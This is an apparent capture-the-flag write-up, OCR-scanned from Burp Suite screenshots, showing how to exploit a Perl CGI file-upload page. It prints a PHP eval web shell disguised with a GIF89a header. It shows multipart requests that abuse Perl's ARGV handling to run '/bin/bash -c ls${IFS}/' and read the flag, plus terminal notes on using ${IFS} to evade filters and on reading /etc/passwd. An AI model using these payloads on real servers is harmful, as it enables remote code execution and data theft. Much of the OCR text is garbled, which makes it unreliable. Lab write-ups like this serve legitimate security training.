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Perl File Upload ¥ http://159.138.137.79:56736/cq X +

G @ 42 view-source:http://159.138.137.79:56736/cgi-binffile.pl

< IDOCTYPE hitml
PUBLIC "-//W3C//DTD XHTML 1.0 Transiticnal//EN"
"http: /. w3, org/TR/xhtml 1,/DTD/xhtml1-transitional .dtd"™

>
<html xmlns="nttp:/ /www.w3.o0rg/139%/xhtml"” lang="en-US5" xml:lang="esn-U5">
<head>
<title>»Perl File Upload</title>
<meta http-eguiv="Content-Type” content="text/html; charset=isc-BE59-1" />
</head>
<body>
<hl>»Per]l File Upload<,/hi>
<form method="poszt" enctype="multipart/form-data">
File: <input type="file" name="files" />
<input type="submit" name="Submit!" value="Submit!"™ />
</ form:>
<hr />
IGIFSQal

<br !::i:script language="php">Eeval (5_REQUEST [peak]) <fscript.::|<br /< /body></html>
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new;

upload(
my $file
while (

$cgi->param(

$file> ) { print
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Go Cancel < |v > v
Request

Raw | Params | Headers | Hex

Target: hitp://159.138.137.79:56736 @ EJ

Response

Raw | Headers | Hex HTMLIRender}

POST fegi-bin/filepl HTTP/1.1

Host: 159.138.137.79:56736

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'WinG4; x64; rv:i71.0) Gecko/20100107 Firefox/71.0
Accept: text/htmlapplication/x<html+xmlapplication/xml;q=0.9,%/*q=0.8

Accept-Language: zh-CN zh;g=0.8,zh-TW;q=0.7 zh-HK:q=0.5,en-US:q=0.3 enig=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----------------------o-o—- 292151340418777
Content-Length: 591

Origin: http://159.138.137.79:56736

Connection: close

Referer: http://159.138.137.79:56736/cgi-bin/file.pl

Cookie: PHPSESSID =1eh20rurdkrdatSls93veavi14

Upgrade-Insecure-Requests: 1

292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream

SHRERA

GIF89a

<script language="php"> @eval($_REQUEST[peak])</script>
2921513404187 77
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream

GIFE89a

<script language="php"> @eval($_REQUEST[peak])</script>
282151340418777
Content-Disposition: form-data; name="Submitl"

Submit!
292151340418777--

T

<html xmlns = "http:/ /a3 org /1998 «html" lang="en-US" xmllang="en-US">
<head>
<title>Perl File Upload < /title >
<meta http-equiv="Content-Type" content="text/html; charset=is0-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data”>File:
<input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form=>
<hr />
GIF89a
<br />
<script language="php"> @eval($_REQUEST[peak]) < /script>
<br />
</body>
</html>

2. ¥filenamefl =, WABHNARGY, EEfile.plEEAH 4 (BEEENarmwww/cgi-bin/ F! )

Go Cancel < | > |
Request

Raw | Params | Headers | Hex

0

Target: hitp://159.138.137.79:56736 @J m

Response

POST fcgi-bin/file.p\’t. var,"\mrw,-fcg\'-b\'n,-’ﬁle.pllHTI'P,f‘I A

Host: 159.138.137.7956736

User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; rv:i71.0) Gecko/20100101 Firefox/71.0
Accept: text/htmlapplication/<html+xml,application/x
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7 zh-HK:
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-----------------cmemeooo 292151340418777
Content-Length: 512

Origin: http://159.138.137 79:56736

Connection: close

Referer: httpy//159.138.137.79:567 36/ cgi-bin/file.pl

Cookie: PHPSESSID =1eh20rurdkrdatSs93veavl14

Upgrade-Insecure-Requests: 1

.5.en-US:g=0.3en;g=0.2

292151340418777
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream

ARGV

292151340418
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream

GIFE89a

<script language="php"> @eval($_REQUEST[peak])</script>
292151340418777
Content-Disposition: form-data; name="Submitl"

Submit!
292151340418777--

T

<html xmlins = "http:/ /a3 .org/1999/«html" lang="en-US" xmliang="en-US">

<head>

<title>Perl File Upload</title>

<meta http-equiv="Content-Type" content="text/html; charset=is0-8859-1" />
</head>
<body>

<h1=>Perl File Upload</h1>

<form method="post" enctype="multipart/form-data">File:

<input type="file" name="file" />
<input type="submit" name="Submitl" value="Submit!" />

</form>

<hr />

#fusr/bin/perl

<br />

<br />

uce strict;

<br />

use warnings

<br />

use CGl;

<br />

<br />

my $cgi = CGl->new;

<br />

<br />

print $cgi->header:




<br />

<br />
print
<< "EndOfHTML";
<br />
<IDOCTYPE html
<br /> L
N e v 3 N s
3. MIWREHER, WUHEXEFEparmi$, RERNFIFbash LB, SLEE/HFTHWHLE
Go Cancel < v >\ Target: http://159.138.137.79:56736 m ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
POST Vegi-bin/filepl?/bin/bash%20-c%201s${IFS}/| HTTP/1.1 ) <IDOCTYPE htm/ K
Host: 159.138.137.79:56736 r PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
User-Agent: Mozilla/5.0 (Windows NT 10.0; '\NinG4; x64; rv:i71.0) Gecko/20100101 Firefox,/71.0 “httpy/fmww.w3.org/TR/xhtmi1/DTD/xhtml1-transitional.dtd”
Accept: text/htmlapplication/<html+xml,application/ >
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 <html xmlns = "http:/ /w3 org 1999/ «html" lang="en-US" xmllang="en-US">
Accept-Encoding: gzip, deflate <head>
Content-Type: multipart/form-data; boundary=-------—----—-———--- oo~ 292151340418777 <title>Perl File Upload</title >
Content-Length: 512 <meta http-equiv="Content-Type" content="text/html; charset=is0-8859-1" />
Origin: httpy//159.138.137 79:56736 </head>
Connection: close <body>
Referer: http:y//159.138.137.79:56736/cgi-bin/file.pl <h1>Perl File Upload</h1>
Cookie: PHPSESSID =1eh20rurdkrdatss93veavi14 <form method="post" enctype="multipart/form-data">File:
Upgrade-Insecure-Requests: 1 <input type="file" name="file" />
<input type="submit" name="Submitl" value="Submit!" />
292151340418777 </form=>
Content-Disposition: form-data; name="file"; <hr />
Content-Type: application/octet-stream bin
<br />
ARGV boot
292151340418777 <hr />
Content-Disposition: form-data; name="file"; filename="peakphp" dev
Content-Type: application/octet-stream <br />
ctc
GIF89a <br /> J
<script language="php"> @eval($_REQUEST[peak])</script>
292151340418777 <br />
Content-Disposition: form-data; name="Submitl" home
<pr />
Submit! lib
292151340418777-- <br />
lib64
<br />
media
<br />
mnt
<br />
. opt b
4. EEflagscf
Go Cancel < v > | Target: http://159.138.137.79:56736 m ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
POST fcgi-bin/file.pl?/flag HTTP/1.1 | -A <IDOCTYPE htm/ -A

Host: 159.138.137.7956736

User-Agent: Mozilla/5.0 (Windows NT 10.0; '\Wine4; x64; n:71.0) Gecko/20100101 Firefox/71.0
Accept: text/htmlapplication/<html+xmlapplication/=ml:q=0.9,%/%q=0.8

Accept-Language: zh-CN,zh;g=0.8zh-TW;q=0.7 zh-HK:q=0.5,en-US:q=0.3,en:g=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=------------------cmemeooo 292151340418777
Content-Length: 512

Origin: http://159.138.137 79:56736

Connection: close

Referer: httpy//159.138.137.79:56736/cgi-bin/file.pl

Cookie: PHPSESSID =1eh20rurdkrdatSs93veavl14

Upgrade-Insecure-Requests: 1

292151340418777
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream

ARGY

292151340418777
Content-Disposition: form-data; name="file"; filename="peakphp"
Content-Type: application/octet-stream

GIF89a

<script language="php"> @eval($_REQUEST[peak]) </script>
292151340418777
Content-Disposition: form-data; name="Submitl"

Submitl

292151340418777 -

PUBLIC "-#/\W3C//DTD XHTML 1.0 Transitional//EN"
“http/ /mwww.w3.org/TR/<html1/DTD/xhtml1-transitional.dtd”
>
<html xmlins = "http:/ A3 .org/1998/«html" lang="en-US" xmllang="en-US">
<head>
<title>Perl File Upload< /title >
<meta http-equiv="Content-Type" content="text/html; charset=is0-8859-1" />
</head>
<body>
<h1=>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">File:
<input type="file" name="file" />
<input type="submit" name="Submitl" value="Submit!" />
</form=>
<hr />
cyberpeace{f30b7df5h2fc980291a8f751cb73515d)
<br />
</body>
</html>




/bin/bash -c

root@istPeak: /home/nivir# fbin/bash -c echo "test" >> test.txt
root@istPeak: /home/nivir#

root@ilstPeak: fhome/nivir# /bin/bash -c 'echo "test" >> test.txt'
root@istPeak: /home/nivir#

${IFS}
$IFS $IFS
${IFS}

root@istPeak: /home/nivir# 1sS{IFS}/

bin cdrom etc initrd.img 1ib lost+found mnt proc run snap swapfile tmp wvar vmlinuz.old
boot dev home 1initrd.img.old 1ib64 media opt root sbin srv sys usr vmlinuz
root@lstPeak: /home/nivir#

root@istPeak: /home/nivir# cat fetc/passwd | grep /bin/bash
root:x:0:8:root: /root:
X:1000:1000:1stPeak, ,,: /home/nivir:

root@lstPeak: /home/nivir# /bin/bash -c 1sS{IFS}/
examples.desktop phuip-fpizdam-master test.txt VMwareTools-10.3.10-13959562.tar.gz vmware-tools-distrib WIHM Bif M BHE X TH 5F =@
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